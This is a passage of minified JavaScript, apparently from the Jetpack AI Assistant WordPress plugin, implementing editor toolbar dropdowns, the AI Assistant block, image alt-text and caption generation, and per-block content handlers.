tone&quot;,&quot;jetpack&quot;),children:c.map(s=&gt;(0,l.jsx)(o.MenuItem,{onClick:()=&gt;t(s),isSelected:e===s,children:`${r.oZ[s].emoji} ${r.oZ[s].label}`},`key-${s}`))});function p({label:e=r.uQ,value:t=u,onChange:s,disabled:n=!1}){return(0,l.jsx)(o.DropdownMenu,{icon:r.Qr,label:e,className:&quot;ai-assistant__tone-dropdown&quot;,popoverProps:{variant:&quot;toolbar&quot;},toggleProps:{children:(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(&quot;div&quot;,{className:&quot;ai-assistant__tone-dropdown__toggle-label&quot;,children:e}),(0,l.jsx)(o.Icon,{icon:i.A})]}),disabled:n},children:({onClose:e})=&gt;(0,l.jsx)(d,{value:t,onChange:t=&gt;{s(t),e()}})})}function h({value:e=u,onChange:t,disabled:s=!1}){const{tracks:a}=(0,n.st)();return s?(0,l.jsx)(o.Tooltip,{text:r.uQ,children:(0,l.jsx)(o.Button,{disabled:!0,children:(0,l.jsx)(o.Icon,{icon:r.Qr})})}):(0,l.jsx)(o.ToolbarDropdownMenu,{icon:r.Qr,label:r.uQ,popoverProps:{variant:&quot;toolbar&quot;},onToggle:e=&gt;{e&amp;&amp;a.recordEvent(&quot;jetpack_ai_assistant_block_toolbar_menu_show&quot;,{tool:&quot;tone&quot;})},children:()=&gt;(0,l.jsx)(d,{value:e,onChange:t})})}},51698(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(96865),n=s(94715),o=s(56427),a=s(27723),i=s(88901),l=s(60484),c=s(2162),u=s(99050),d=s(33468),p=s(62402),h=s(10790);const __=a.__,m=({contentIsLoaded:e,getSuggestionFromOpenAI:t,retryRequest:s,handleAcceptContent:a,handleTryAgain:m,showRetry:g,contentBefore:f,hasPostTitle:b,wholeContent:v,setUserPrompt:k,recordEvent:y,isGeneratingTitle:x})=&gt;(0,h.jsx)(h.Fragment,{children:(0,h.jsxs)(n.BlockControls,{children:[!g&amp;&amp;(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(o.ToolbarGroup,{children:(0,h.jsx)(d.Ay,{hasContentBefore:!!f?.length,hasContent:!!v?.length,hasPostTitle:b,contentIsLoaded:e,onPromptSelect:e=&gt;{y(&quot;jetpack_editor_ai_assistant_block_toolbar_button_click&quot;,{type:&quot;prompt-template&quot;,prompt:e.original}),k(e.translated)},onSuggestionSelect:e=&gt;{y(&quot;jetpack_editor_ai_assistant_block_toolbar_button_click&quot;,{type:&quot;suggestion&quot;,suggestion:e}),t(e)}})}),(0,h.jsxs)(n.BlockControls,{group:&quot;block&quot;,children:[(0,h.jsx)(p.Ay,{value:&quot;neutral&quot;,onChange:s=&gt;{y(&quot;jetpack_editor_ai_assistant_block_toolbar_button_click&quot;,{type:&quot;suggestion&quot;,suggestion:r.eJ}),t(r.eJ,{tone:s,contentType:e?&quot;generated&quot;:null})},disabled:!e&amp;&amp;!v?.length}),(0,h.jsx)(c.Ay,{value:&quot;en&quot;,onChange:s=&gt;{y(&quot;jetpack_editor_ai_assistant_block_toolbar_button_click&quot;,{type:&quot;suggestion&quot;,suggestion:r.Gm}),t(r.Gm,{language:s,contentType:e?&quot;generated&quot;:null})},disabled:!e&amp;&amp;!v?.length}),(0,h.jsx)(u.Ay,{onChange:t,exclude:x?[&quot;summarize&quot;]:[],disabled:!e})]})]}),(g||m)&amp;&amp;(0,h.jsxs)(o.ToolbarGroup,{children:[!g&amp;&amp;e&amp;&amp;m&amp;&amp;(0,h.jsx)(o.ToolbarButton,{onClick:m,children:__(&quot;Try Again&quot;,&quot;jetpack&quot;)}),g&amp;&amp;e&amp;&amp;(0,h.jsx)(o.ToolbarButton,{icon:i.A,onClick:a,children:__(&quot;Accept&quot;,&quot;jetpack&quot;)}),g&amp;&amp;(0,h.jsx)(o.ToolbarButton,{icon:l.A,onClick:s,children:__(&quot;Retry&quot;,&quot;jetpack&quot;)})]})]})})},3586(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;w});var r=s(96865),n=s(85985),o=s(94715),a=s(74997),i=s(56427),l=s(29491),c=s(47143),u=s(86087),d=s(27723),p=s(13022),h=s(27970),m=s(56199),g=s(2274),f=s(32249),b=s(51698),v=s(4393),k=s(44732),y=s(76695),x=(s(47894),s(10790));const __=d.__,j=&quot;post&quot;===window?.Jetpack_Editor_Initial_State?.screenBase;function w({attributes:e,setAttributes:t,clientId:s,isSelected:d}){const[w,_]=(0,u.useState)(null),{tracks:C}=(0,n.st)(),{getBlock:A}=(0,c.useSelect)(&quot;core/block-editor&quot;),S=(0,u.useRef)(null),E=(0,u.useRef)(null),{replaceBlocks:N,removeBlock:T}=(0,c.useDispatch)(&quot;core/block-editor&quot;),{editPost:B}=(0,c.useDispatch)(&quot;core/editor&quot;),[P,I]=(0,u.useState)((0,r.MB)(e.preTransformAction)),{isOverLimit:M,requireUpgrade:L,increaseRequestsCount:R,requestsCount:D,requestsLimit:F,currentTier:O,loading:z,tierPlansEnabled:U}=(0,r.yM)(),H=Math.max(F-D,0),{autosaveAndRedirect:q}=(0,r.ON)(),V=(0,n.Bd)(O),$=()=&gt;{setTimeout(()=&gt;{S.current?.focus?.()},100)},G=()=&gt;{setTimeout(()=&gt;{E.current?.focus?.()},100)},W=(0,l.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),Z=(0,u.useRef)(null),{getSuggestionFromOpenAI:J,stopSuggestion:K,showRetry:Y,contentBefore:Q,postTitle:X,retryRequest:ee,wholeContent:te,requestingState:se,error:re}=(0,v.A)({onSuggestionDone:(0,u.useCallback)(()=&gt;{$(),R()},[R]),onUnclearPrompt:(0,u.useCallback)(()=&gt;{G(),R()},[R]),onModeration:$,attributes:e,clientId:s,content:e.content,tracks:C,userPrompt:e.userPrompt,requireUpgrade:L,initialRequestingState:e.requestingState,contentRef:Z,blockRef:E}),ne=&quot;requesting&quot;===se,oe=[&quot;requesting&quot;,&quot;suggesting&quot;].includes(se),ae=(0,n.xI)(),{productPageUrl:ie}=(0,k.A)(),le=(0,y.y)(s);(0,u.useEffect)(()=&gt;{if(!le)return;const e=JSON.parse(localStorage.getItem(le));if(!e)return;const{type:t,options:s}=e;localStorage.removeItem(le),J(t,s)},[le,J]),(0,u.useEffect)(()=&gt;{re&amp;&amp;_(!1)},[re]),(0,u.useEffect)(()=&gt;{[&quot;init&quot;,&quot;done&quot;].includes(se)&amp;&amp;t({requestingState:se})},[se,t]);const ce=!!e.content,ue=e.promptType===r.vE,de=__(&quot;Accept&quot;,&quot;jetpack&quot;),pe=__(&quot;Accept title&quot;,&quot;jetpack&quot;),he=ue?pe:de,me=async()=&gt;{let t=[],n=(0,r._E)({content:e.content||&quot;&quot;});if(n?.split(&quot;\n&quot;).length&gt;1&amp;&amp;n?.split(&quot;\n&quot;)?.[0]?.match(/^&lt;h1&gt;.*&lt;\/h1&gt;$/)&amp;&amp;!X){const e=n.split(&quot;\n&quot;),t=e.shift();n=e.join(&quot;\n&quot;),B({title:t.replace(/&lt;[^&gt;]*&gt;/g,&quot;&quot;)})}t=(0,a.rawHandler)({HTML:n}),await N(s,t);const o=(e=&gt;{let t=null;return e.forEach(e=&gt;{const s=document.querySelector(`.wp-block[data-block=&quot;${e.clientId}&quot;]`);if(!s)return;&quot;true&quot;===s.contentEditable&amp;&amp;(t=s);const r=s.querySelectorAll(&quot;[contenteditable=true]&quot;);t=r.length?r[r.length-1]:t}),t})(t);o&amp;&amp;(e=&gt;{const t=e.ownerDocument.getSelection();t.selectAllChildren(e),t.collapseToEnd(),e.focus()})(o)},ge=()=&gt;{me(),C.recordEvent(&quot;jetpack_ai_assistant_block_accept&quot;,{feature:&quot;ai-assistant&quot;})},fe=()=&gt;{j?(B({title:e.content?e.content.trim():&quot;&quot;}),T(s),C.recordEvent(&quot;jetpack_ai_assistant_block_accept&quot;,{feature:&quot;ai-assistant&quot;})):ge()},be=()=&gt;{K(),$(),C.recordEvent(&quot;jetpack_ai_assistant_block_stop&quot;,{feature:&quot;ai-assistant&quot;})},ve=(0,o.useBlockProps)({ref:E,className:(0,p.A)({&quot;is-waiting-response&quot;:ne})}),ke=__(&quot;Ask Jetpack AI…&quot;,&quot;jetpack&quot;),ye=__(&quot;Write about… Make a table for…&quot;,&quot;jetpack&quot;),xe=(0,x.jsxs)(x.Fragment,{children:[M&amp;&amp;d&amp;&amp;(0,x.jsx)(r.Hb,{placement:&quot;ai-assistant-block&quot;}),!ae&amp;&amp;(0,x.jsx)(g.A,{block:&quot;AI Assistant&quot;})]}),je=(0,x.jsx)(x.Fragment,{children:re?.message&amp;&amp;!w&amp;&amp;&quot;error_quota_exceeded&quot;!==re?.code&amp;&amp;(0,x.jsx)(i.Notice,{status:re.status,isDismissible:!1,className:&quot;jetpack-ai-assistant__error&quot;,children:re.message})}),we=M&amp;&amp;V===n.Ti?(0,x.jsx)(r.QA,{variant:&quot;muted&quot;}):null,_e=(0,u.useCallback)(e=&gt;{e.preventDefault(),C.recordEvent(&quot;jetpack_ai_upgrade_button&quot;,{current_tier_slug:O?.slug,requests_count:D,placement:&quot;jetpack_ai_assistant_block&quot;}),q(e)},[C,O,D,q]);return(0,x.jsx)(i.KeyboardShortcuts,{bindGlobal:!0,shortcuts:{esc:()=&gt;{[&quot;requesting&quot;,&quot;suggesting&quot;].includes(se)&amp;&amp;be()}},children:(0,x.jsxs)(&quot;div&quot;,{...ve,children:[ce&amp;&amp;(0,x.jsx)(&quot;div&quot;,{ref:Z,className:&quot;jetpack-ai-assistant__content&quot;,children:(0,x.jsx)(u.RawHTML,{children:(0,r._E)({content:e.content||&quot;&quot;})})}),(0,x.jsxs)(o.InspectorControls,{children:[we&amp;&amp;(0,x.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-card&quot;,style:{paddingTop:0},children:[(0,x.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-icon&quot;}),we]}),(0,x.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-card&quot;,style:{paddingTop:0},children:[(0,x.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-icon&quot;}),(0,x.jsx)(i.ExternalLink,{href:ie,children:__(&quot;Discover all features&quot;,&quot;jetpack&quot;)})]}),(V===n._X||U&amp;&amp;V!==n.Ti)&amp;&amp;(0,x.jsx)(i.PanelBody,{initialOpen:!0,children:(0,x.jsx)(i.PanelRow,{children:(0,x.jsx)(h.A,{placement:m.k})})}),(0,x.jsx)(i.PanelBody,{initialOpen:!0,children:(0,x.jsx)(i.PanelRow,{children:(0,x.jsx)(f.A,{})})})]}),!oe&amp;&amp;ae&amp;&amp;!L&amp;&amp;(0,x.jsx)(b.A,{isWaitingState:oe,contentIsLoaded:ce,getSuggestionFromOpenAI:(e,t)=&gt;{const s=(0,r.MB)(e,t);I(s),J(e,t)},retryRequest:ee,handleAcceptContent:ge,handleAcceptTitle:fe,handleTryAgain:null,showRetry:Y,contentBefore:Q,hasPostTitle:!!X?.length,wholeContent:te,promptType:e.promptType,setUserPrompt:e=&gt;{if(!S?.current)return;S.current.focus(),t({userPrompt:e})},recordEvent:C.recordEvent,isGeneratingTitle:ue}),(0,x.jsx)(r.N0,{ref:S,disabled:L||!ae,value:e.userPrompt,placeholder:e?.content?ke:ye,onChange:e=&gt;{_(!0),t({userPrompt:e})},onSend:()=&gt;{I(e.userPrompt),((...e)=&gt;{J(...e),G()})(&quot;userPrompt&quot;),C.recordEvent(&quot;jetpack_ai_assistant_block_generate&quot;,{feature:&quot;ai-assistant&quot;})},onStop:be,onAccept:()=&gt;{ue?fe():ge()},onDiscard:()=&gt;{const r=e?.content===A(s).attributes?.content;t({content:e?.originalContent,promptType:void 0,messages:e?.originalMessages}),me(),r?C.recordEvent(&quot;jetpack_ai_assistant_block_dismiss&quot;):C.recordEvent(&quot;jetpack_ai_assistant_block_discard&quot;,{feature:&quot;ai-assistant&quot;})},state:se,isTransparent:L||!ae,showButtonLabels:!W,showAccept:&quot;init&quot;!==se&amp;&amp;ce&amp;&amp;!oe,acceptLabel:he,showGuideLine:ce,showRemove:e?.content?.length&gt;0,banner:xe,error:je,customFooter:H%5!=0&amp;&amp;1!==D||z||V!==n._X?null:(0,x.jsx)(r.AK,{requestsRemaining:H,onUpgradeClick:_e}),lastAction:P})]})})}},61351(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(54681),o=s(3586),a=s(13802);s(47894),s(50797),s(78118);(0,r.M)(n,{edit:o.A,save:()=&gt;null,transforms:a.Ay})},31124(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(96865),n=s(56427),o=s(27723),a=s(10790);const __=o.__;function i({label:e=__(&quot;AI Assistant&quot;,&quot;jetpack&quot;),behavior:t,onAction:s,onDropdownToggle:o,renderContent:i,behaviorContext:l,disabled:c}){return(0,a.jsx)(n.Dropdown,{popoverProps:{variant:&quot;toolbar&quot;},renderToggle:({isOpen:o,onToggle:i})=&gt;(0,a.jsx)(n.ToolbarButton,{className:&quot;jetpack-ai-assistant__button&quot;,showTooltip:!0,onClick:()=&gt;{if(&quot;function&quot;!=typeof t)switch(t){case&quot;action&quot;:s?.();break;case&quot;dropdown&quot;:i()}else t({context:l})},&quot;aria-haspopup&quot;:&quot;true&quot;,&quot;aria-expanded&quot;:o,label:e,icon:r.cj,disabled:c}),onToggle:o,renderContent:i})}},9731(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b});var r=s(96865),n=s(85985),o=s(56427),a=s(86087),i=s(27723),l=s(83147),c=s(28755),u=s(10067),d=s.n(u),p=s(31124),h=s(89872),m=(s(16282),s(10790));const __=i.__,g=d()(&quot;jetpack-ai:image-extension-toolbar-dropdown&quot;),f=(0,a.forwardRef)(({onClose:e,onRequestAltText:t,onRequestCaption:s,loadingAltText:n,loadingCaption:i},u)=&gt;{const{requireUpgrade:d}=(0,r.yM)(),p=(0,a.useCallback)(async r=&gt;{try{r===h.X?await(t?.()):await(s?.()),e?.()}catch(e){g(&quot;Error generating %s&quot;,r,e)}},[t,s,e]);return(0,m.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-assistant-image-toolbar-dropdown-wrapper&quot;,tabIndex:-1,ref:u,children:(0,m.jsxs)(o.MenuGroup,{children:[(0,m.jsx)(o.MenuItem,{icon:n?(0,m.jsx)(o.Spinner,{}):c.A,iconPosition:&quot;left&quot;,onClick:()=&gt;{p(h.X)},disabled:!!n||d,children:__(&quot;Generate alt text&quot;,&quot;jetpack&quot;)},&quot;key-ai-assistant-alt-text&quot;),(0,m.jsx)(o.MenuItem,{icon:i?(0,m.jsx)(o.Spinner,{}):l.A,iconPosition:&quot;left&quot;,onClick:()=&gt;{p(h.Q)},disabled:!!i||d,children:__(&quot;Generate caption&quot;,&quot;jetpack&quot;)},&quot;key-ai-assistant-caption&quot;)]})})});function b({label:e=__(&quot;AI Assistant&quot;,&quot;jetpack&quot;),onRequestAltText:t,onRequestCaption:s,loadingAltText:o=!1,loadingCaption:i=!1,disabled:l=!1,wrapperRef:c}){const{requireUpgrade:u}=(0,r.yM)(),{tracks:d}=(0,n.st)(),h=(0,a.useCallback)(e=&gt;{e&amp;&amp;(d.recordEvent(&quot;jetpack_ai_assistant_extension_toolbar_menu_show&quot;,{block_type:&quot;core/image&quot;}),u&amp;&amp;(0,r.Fs)())},[u,d]),g=(0,a.useCallback)(()=&gt;(d.recordEvent(&quot;jetpack_editor_ai_assistant_extension_toolbar_button_click&quot;,{suggestion:&quot;alt-text&quot;,block_type:&quot;core/image&quot;}),t?.()),[t,d]),b=(0,a.useCallback)(()=&gt;(d.recordEvent(&quot;jetpack_editor_ai_assistant_extension_toolbar_button_click&quot;,{suggestion:&quot;caption&quot;,block_type:&quot;core/image&quot;}),s?.()),[s,d]);return(0,m.jsx)(p.A,{label:e,behavior:&quot;dropdown&quot;,onDropdownToggle:h,disabled:l,renderContent:({onClose:e})=&gt;(0,m.jsx)(f,{ref:c,onClose:e,onRequestAltText:g,onRequestCaption:b,loadingAltText:o,loadingCaption:i})})}},78118(e,t,s){&quot;use strict&quot;;var r=s(96865),n=s(94715),o=s(29491),a=s(47143),i=s(43656),l=s(86087),c=s(52619),u=s(10067),d=s.n(u),p=s(16204),h=s(35317),m=s(48499),g=s(10821),f=s(4647),b=s(89872),v=s(9731),k=s(10790);const y=d()(&quot;jetpack-ai:image-extension&quot;),x=(0,m.C)(&quot;ai-assistant-image-extension&quot;),j={group:&quot;block&quot;};const w=(0,o.createHigherOrderComponent)(e=&gt;{function t(t){const{increaseRequestsCount:s,dequeueAsyncRequest:o,requireUpgrade:c}=(0,r.yM)(),{getCurrentPostId:u,isImageBusy:d}=(0,a.useSelect)(e=&gt;{const{getCurrentPostId:s}=e(i.store);return{getCurrentPostId:s,isImageBusy:e(p.M)?.isImageBusy(t.clientId)??!1}},[t.clientId]),{getPostContent:h}=(0,r.dh)(),[m,g]=(0,l.useState)(d),[x,w]=(0,l.useState)(!1),{updateBlockAttributes:_}=(0,a.useDispatch)(i.store),{createNotice:C}=(0,a.useDispatch)(&quot;core/notices&quot;),A=(0,l.useRef)(null),S=!!t.attributes.url,E=m||x;(0,l.useEffect)(()=&gt;{g(d)},[d]);const N=(e,t)=&gt;{e===b.X?g(t):e===b.Q&amp;&amp;w(t)},T=(0,l.useCallback)(e=&gt;{A.current&amp;&amp;(A.current.setAttribute(&quot;tabindex&quot;,&quot;0&quot;),A.current.focus()),N(e,!0)},[]),B=(0,l.useCallback)(e=&gt;{C(&quot;error&quot;,e,{isDismissible:!0})},[C]);(0,l.useEffect)(()=&gt;{E||A.current&amp;&amp;A.current.setAttribute(&quot;tabindex&quot;,&quot;-1&quot;)},[E]);const P=(0,l.useCallback)(async(e,n=!1)=&gt;{if(!c){T(e);try{const a={};e===b.X&amp;&amp;(0,r.in)(t.clientId),e===b.Q&amp;&amp;(a.positions=[t.clientId]),o();const i=await(0,r.R0)([{role:&quot;jetpack-ai&quot;,context:{type:e,content:h(f.P),...a,images:[{url:n?await(0,r.Zo)(t.attributes.url):t.attributes.url}]}}],{postId:u(),feature:&quot;jetpack-ai-image-extension&quot;});s();const l=JSON.parse(i?.replace?.(/^```json\s*/,&quot;&quot;)?.replace(/```$/,&quot;&quot;));if(e===b.X){const e=l.texts?.[0];_(t.clientId,{alt:e})}else if(e===b.Q){const e=l.captions?.[0];_(t.clientId,{caption:e})}N(e,!1)}catch(t){if(t?.message.includes(&quot;The image URL is invalid&quot;)&amp;&amp;!n)return y(&quot;Retrying with base64 image&quot;),P(e,!0);y(`Error generating ${e}`,t),t?.message&amp;&amp;B(`Image ${e===b.X?&quot;alt text&quot;:&quot;caption&quot;} generation failed: ${t.message}`),N(e,!1)}}},[o,u,h,s,t.attributes.url,t.clientId,c,B,T,_]);return(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(e,{...t}),(0,k.jsx)(n.BlockControls,{...j,children:(0,k.jsx)(v.A,{onRequestAltText:()=&gt;P(b.X),onRequestCaption:()=&gt;P(b.Q),loadingAltText:m,loadingCaption:x,disabled:!S,wrapperRef:A})})]})}return s=&gt;(0,h.A)(s.name)?(0,k.jsx)(t,{...s}):(0,k.jsx)(e,{...s})},&quot;blockEditWithAiComponents&quot;);(0,c.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack/ai-assistant-support/with-ai-image-extension&quot;,function(e,t){var s;return(s=t,!!(0,g.Bi)()&amp;&amp;!!x&amp;&amp;&quot;core/image&quot;===s)?{...e,edit:w(e.edit),supports:{...e.supports,&quot;jetpack/ai&quot;:{assistant:!0}}}:e},100)},10821(e,t,s){&quot;use strict&quot;;s.d(t,{Bi:()=&gt;i});var r=s(85985),n=s(74997),o=s(47143);const a=(0,s(48499).C)(&quot;ai-assistant-support&quot;);function i(){if(!(0,n.getBlockType)(&quot;jetpack/ai-assistant&quot;))return!1;if(!a)return!1;if(!(0,r.xI)())return!1;return!((0,o.select)(&quot;core/edit-post&quot;)?.getHiddenBlockTypes?.()??[]).includes(&quot;jetpack/ai-assistant&quot;)}},4647(e,t,s){&quot;use strict&quot;;s.d(t,{P:()=&gt;n});var r=s(96865);const n=e=&gt;{const t=(0,r._G)().filter(e=&gt;&quot;core/image&quot;===e.name);let s=0;return e=(e=e.replace(/&lt;figcaption[^&gt;]*&gt;.*?&lt;\/figcaption&gt;/g,&quot;&quot;)).replace(/&lt;!-- wp:image[^&gt;]*&gt;.*?&lt;img[^&gt;]*&gt;.*?&lt;!-- \/wp:image --&gt;/gs,()=&gt;{const e=t[s];return s++,e?`&lt;img src=&quot;${e.clientId}&quot;&gt;`:&quot;&quot;})}},52998(e,t,s){&quot;use strict&quot;;s.d(t,{mt:()=&gt;a});var r=s(96865),n=s(74997),o=s(47143);class a{renderRules=[];firstUpdate=!0;behavior=&quot;dropdown&quot;;isChildBlock=!1;feature=&quot;ai-assistant&quot;;adjustPosition=!0;startOpen=!1;hideOnBlockFocus=!0;supports={};constructor(e,t=[]){this.clientId=e,this.renderRules=t}getBlock(){const{getBlock:e}=(0,o.select)(&quot;core/block-editor&quot;);return e(this.clientId)}getContent(){const e=this.getBlock();return t=(0,n.getBlockContent)(e),(0,r.rh)({content:t});var t}renderContent(e){return function(e,t=[]){return(0,r._E)({content:e,rules:t,extension:!0})}(e,this.renderRules)}onSuggestion(e){if(!e)return;const t=this.renderContent(e);this.replaceBlockContent(t)}onDone(e){this.firstUpdate=!0}replaceBlockContent(e){const[t]=(0,n.rawHandler)({HTML:e});if(!t)return;const{updateBlockAttributes:s,replaceInnerBlocks:r,__unstableMarkNextChangeAsNotPersistent:a}=(0,o.dispatch)(&quot;core/block-editor&quot;);this.firstUpdate?this.firstUpdate=!1:a(),s(this.clientId,t.attributes),a(),r(this.clientId,t.innerBlocks)}getExtensionInputPlaceholder(){return null}}},96306(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(96865),n=s(85985),o=s(86087),a=s(27723),i=s(13022),l=(s(14808),s(10790));const __=a.__,c=(0,i.A)(&quot;jetpack-ai-assistant-extension-ai-input&quot;,&quot;wp-block&quot;);function u({customPlaceholder:e,className:t,requestingState:s,requestingError:a,inputRef:u,wrapperRef:d,action:p,blockType:h,feature:m,request:g,stopSuggestion:f,close:b,undo:v,tryAgain:k,lastAction:y}){const x=e||__(&quot;Ask Jetpack AI to edit…&quot;,&quot;jetpack&quot;),[j,w]=(0,o.useState)(&quot;&quot;),[_,C]=(0,o.useState)(x),{checkoutUrl:A}=(0,r.ON)(),{tracks:S}=(0,n.st)(),[E,N]=(0,o.useState)(0),[T,B]=(0,o.useState)(!1),{requireUpgrade:P,requestsCount:I,requestsLimit:M,loading:L,nextTier:R,currentTier:D}=(0,r.yM)(),F=(0,o.useMemo)(()=&gt;P||[&quot;requesting&quot;,&quot;suggesting&quot;].includes(s),[P,s]),O=(0,o.useMemo)(()=&gt;P&amp;&amp;1===D?.value,[P,D]),z=(0,o.useCallback)(()=&gt;{S.recordEvent(&quot;jetpack_ai_assistant_extension_generate&quot;,{block_type:h,feature:m}),g?.(j)},[h,m,g,S,j]),U=(0,o.useCallback)(()=&gt;{S.recordEvent(&quot;jetpack_ai_assistant_extension_stop&quot;,{block_type:h}),C(x),f?.()},[h,x,f,S]);const H=(0,o.useCallback)(()=&gt;{S.recordEvent(&quot;jetpack_ai_assistant_undo&quot;,{block_type:h,prompt:y||null}),v?.()},[h,y,S,v]),q=(0,o.useCallback)(()=&gt;{S.recordEvent(&quot;jetpack_ai_upgrade_button&quot;,{current_tier_slug:D?.slug,requests_count:I,placement:&quot;jetpack_ai_assistant_extension&quot;})},[D?.slug,I,S]),V=(0,o.useCallback)(()=&gt;{S.recordEvent(&quot;jetpack_ai_assistant_try_again&quot;,{block_type:h}),k?.()},[h,S,k]);return(0,o.useEffect)(()=&gt;{[&quot;init&quot;,&quot;done&quot;].includes(s)&amp;&amp;w(&quot;&quot;)},[s]),(0,o.useEffect)(()=&gt;{C(p||x),p&amp;&amp;w(&quot;&quot;)},[p,x]),(0,o.useEffect)(()=&gt;{B(!L&amp;&amp;!!R&amp;&amp;0===j.length)},[L,R,j]),(0,o.useEffect)(()=&gt;{const e=Math.max(M-I,0);N(e)},[M,I]),(0,l.jsx)(r.FC,{className:(0,i.A)(c,t),placeholder:_,disabled:F,value:j,state:s,showGuideLine:!0,error:a,requestsRemaining:E,showUpgradeMessage:T,showFairUsageMessage:O,upgradeUrl:A,onChange:w,onSend:z,onStop:U,onClose:function(){b?.()},onUndo:H,onUpgrade:q,onTryAgain:V,wrapperRef:d,ref:u,lastAction:y,blockType:h})}},37931(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(85985),n=s(86087),o=s(27723),a=s(52068),i=s(76695),l=s(31124),c=s(21785),u=s(10790);const __=o.__;function d({blockType:e,onClose:t,onAskAiAssistant:s,onRequestSuggestion:r}){const{canTransformToAIAssistant:o,transformToAIAssistant:l,getSelectedBlockClientIds:c}=(0,i.A)(),d=(0,n.useCallback)(n=&gt;{const a=c(),[i]=a,u=n?.options?.alwaysTransformToAIAssistant||!1;!(a.length&lt;2)&amp;&amp;o({clientId:i,blockName:e})||u?l({request:n}):(n?r?.(n.promptType,n.options):s?.(),t?.())},[e,o,c,s,t,r,l]),[p]=c();return(0,u.jsx)(a.Ay,{blockType:e,clientId:p,onRequestSuggestion:(e,t)=&gt;{d({promptType:e,options:t})},onAskAiAssistant:async()=&gt;{d()},disabled:!1})}function p({behavior:e,blockType:t,label:s=__(&quot;AI Assistant&quot;,&quot;jetpack&quot;),onAskAiAssistant:o,onRequestSuggestion:a}){const{tracks:i}=(0,r.st)(),p=(0,n.useContext)(c.B),h=(0,n.useCallback)(e=&gt;{e&amp;&amp;i.recordEvent(&quot;jetpack_ai_assistant_extension_toolbar_menu_show&quot;,{block_type:t})},[t,i]),m=(0,n.useCallback)(()=&gt;{i.recordEvent(&quot;jetpack_editor_ai_assistant_extension_toolbar_prompt_show&quot;,{block_type:t}),o?.()},[t,o,i]),g=(0,n.useCallback)((e,s)=&gt;{i.recordEvent(&quot;jetpack_editor_ai_assistant_extension_toolbar_button_click&quot;,{suggestion:e,block_type:t}),a?.(e,s)},[t,a,i]);return(0,u.jsx)(l.A,{label:s,behavior:e,onAction:m,onDropdownToggle:h,renderContent:({onClose:e})=&gt;(0,u.jsx)(d,{blockType:t,onClose:e,onAskAiAssistant:m,onRequestSuggestion:g}),behaviorContext:p})}},27571(e,t,s){&quot;use strict&quot;;s.d(t,{L:()=&gt;n,l:()=&gt;r});const r=[&quot;jetpack/field-name&quot;,&quot;jetpack/field-number&quot;,&quot;jetpack/field-email&quot;,&quot;jetpack/field-text&quot;,&quot;jetpack/field-textarea&quot;,&quot;jetpack/field-time&quot;,&quot;jetpack/field-checkbox&quot;,&quot;jetpack/field-date&quot;,&quot;jetpack/field-telephone&quot;,&quot;jetpack/field-url&quot;,&quot;jetpack/field-checkbox-multiple&quot;,&quot;jetpack/field-radio&quot;,&quot;jetpack/field-select&quot;,&quot;jetpack/field-consent&quot;,&quot;jetpack/button&quot;],n=[&quot;core/heading&quot;,&quot;core/paragraph&quot;,&quot;core/list-item&quot;,&quot;core/list&quot;,&quot;jetpack/contact-form&quot;,...r]},21785(e,t,s){&quot;use strict&quot;;s.d(t,{B:()=&gt;g,Q:()=&gt;f});var r=s(86087),n=s(10067),o=s.n(n),a=s(52998),i=s(27571),l=s(50161),c=s(22352),u=s(53269),d=s(94987),p=s(125);const h=o()(&quot;jetpack-ai-assistant:extensions:get-block-handler&quot;),m={&quot;core/heading&quot;:l.T,&quot;core/paragraph&quot;:p.d,&quot;core/list-item&quot;:d.g,&quot;core/list&quot;:u.b,&quot;jetpack/contact-form&quot;:c.p,...i.l.reduce((e,t)=&gt;({...e,[t]:c.g}),{})},g=(0,r.createContext)({});function f(e,t){let s=m[e];s||(h(`No handler found for block type: ${e}. Using default handler.`),s=a.mt);const r=new s(t);return{onSuggestion:r.onSuggestion.bind(r),onDone:r.onDone.bind(r),getContent:r.getContent.bind(r),getExtensionInputPlaceholder:r.getExtensionInputPlaceholder.bind(r),behavior:r.behavior,isChildBlock:r.isChildBlock,feature:r.feature,adjustPosition:r.adjustPosition,startOpen:r.startOpen,hideOnBlockFocus:r.hideOnBlockFocus,supports:r.supports}}},50161(e,t,s){&quot;use strict&quot;;s.d(t,{T:()=&gt;n});var r=s(52998);class n extends r.mt{constructor(e){super(e,[])}onSuggestion(e){const t=this.getBlock();if(e.startsWith(&quot;#&quot;)||(e=`${&quot;#&quot;.repeat(t?.attributes?.level||1)} ${e}`),e.match(/^#*\s*$/))return;const s=this.renderContent(e);this.replaceBlockContent(s)}}},8663(e,t,s){&quot;use strict&quot;;s.d(t,{g:()=&gt;o});var r=s(47143),n=s(52998);class o extends n.mt{jetpackFormBlockName=&quot;jetpack/contact-form&quot;;constructor(e){super(e,[]),this.behavior=this.handleBehavior,this.isChildBlock=!0,this.hideOnBlockFocus=!1}handleBehavior=({context:e})=&gt;{const t=(0,r.dispatch)(&quot;core/block-editor&quot;),{getBlockParentsByBlockName:s}=(0,r.select)(&quot;core/block-editor&quot;),n=s(this.clientId,this.jetpackFormBlockName)?.[0];t.selectBlock(n),e?.[this.jetpackFormBlockName]?.handleAskAiAssistant?.()}}},22352(e,t,s){&quot;use strict&quot;;s.d(t,{g:()=&gt;c.g,p:()=&gt;u});var r=s(74997),n=s(47143),o=s(27723),a=s(62514),i=s(96568),l=s(52998),c=s(8663);const __=o.__;class u extends 